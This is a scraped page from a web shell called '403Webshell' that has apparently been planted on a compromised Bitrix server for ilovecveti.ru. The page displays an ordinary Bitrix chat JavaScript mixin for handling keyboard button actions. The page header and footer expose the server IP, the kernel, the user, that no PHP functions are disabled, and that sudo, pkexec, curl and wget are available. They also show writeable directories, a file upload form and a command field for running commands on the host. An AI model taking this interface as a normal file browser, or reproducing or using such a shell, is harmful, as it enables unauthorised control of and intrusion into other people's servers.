403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/im/mixin/src/dialog/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/js/im/mixin/src/dialog/clickOnKeyboardButton.js
import { EventEmitter } from 'main.core.events';
import { EventType, RestMethod } from "im.const";
import { Clipboard } from "im.lib.clipboard";

/**
 * @notice needs TextareaCore mixin
 */
export const DialogClickOnKeyboardButton = {
	created()
	{
		EventEmitter.subscribe(EventType.dialog.clickOnKeyboardButton, this.onClickOnKeyboardButton);
	},
	beforeDestroy()
	{
		EventEmitter.unsubscribe(EventType.dialog.clickOnKeyboardButton, this.onClickOnKeyboardButton);
	},
	methods: {
		onClickOnKeyboardButton({data: event})
		{
			if (event.action === 'ACTION')
			{
				const {dialogId, messageId, botId, action, value} = event.params;

				if (action === 'SEND')
				{
					this.addMessageOnClient(value);
					setTimeout(
						() => {
							EventEmitter.emit(EventType.dialog.scrollToBottom, {chatId: this.chatId, duration: 300, cancelIfScrollChange: false});
						},
					300);
				}
				else if (action === 'PUT')
				{
					this.insertText({ text: value + ' ' });
				}
				else if (action === 'CALL')
				{
					//this.openPhoneMenu(value);
				}
				else if (action === 'COPY')
				{
					Clipboard.copy(value);

					BX.UI.Notification.Center.notify({
						content: this.localize['IM_DIALOG_CLIPBOARD_COPY_SUCCESS'],
						autoHideDelay: 4000
					});
				}
				else if (action === 'DIALOG')
				{
					//this.openDialog(value);
				}

				return true;
			}

			if (event.action === 'COMMAND')
			{
				const {dialogId, messageId, botId, command, params} = event.params;

				this.getRestClient().callMethod(RestMethod.imMessageCommand, {
					'MESSAGE_ID': messageId,
					'DIALOG_ID': dialogId,
					'BOT_ID': botId,
					'COMMAND': command,
					'COMMAND_PARAMS': params,
				});

				return true;
			}

			return false;
		},
	}
};

Youez - 2016 - github.com/yon3zu
LinuXploit